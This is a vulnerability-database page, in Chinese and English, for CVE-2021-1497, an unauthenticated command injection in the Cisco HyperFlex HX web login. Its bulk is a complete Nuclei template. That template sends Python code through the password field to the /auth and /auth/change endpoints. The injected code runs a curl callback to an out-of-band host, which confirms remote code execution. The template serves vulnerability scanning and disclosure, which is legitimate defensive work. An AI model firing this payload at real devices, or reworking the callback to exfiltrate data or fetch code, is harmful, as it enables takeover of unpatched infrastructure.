CVE-2021-1497: Cisco HyperFlex HX Data Platform - Remote Command Execution

日期: 2025-08-01 | 影响软件: Cisco HyperFlex HX Data Platform | POC: 已公开

漏洞描述

Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

PoC代码[已公开]

id: CVE-2021-1497

info:
  name: Cisco HyperFlex HX Data Platform - Remote Command Execution
  author: gy741
  severity: critical
  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1497
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1497
    cwe-id: CWE-78
    epss-score: 0.94392
    epss-percentile: 0.9997
    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\(2a\):*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cisco
    product: hyperflex_hx_data_platform
  tags: cve,cve2021,cisco,rce,oast,kev,packetstorm
variables:
  cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
  payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /auth/change HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode(payload)}}
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        username=root&password={{url_encode(payload)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4a0a00473045022100a6a2d0d8df074ed9a423224b0c3769f0a7538abc43357c382b39b9f3dba5ac76022000c3f3e3acfbb1b2a04725ce02ec299004983d65682dc3336987289c76f78249:922c64590222798bb761d5b6d8e72950

相关漏洞推荐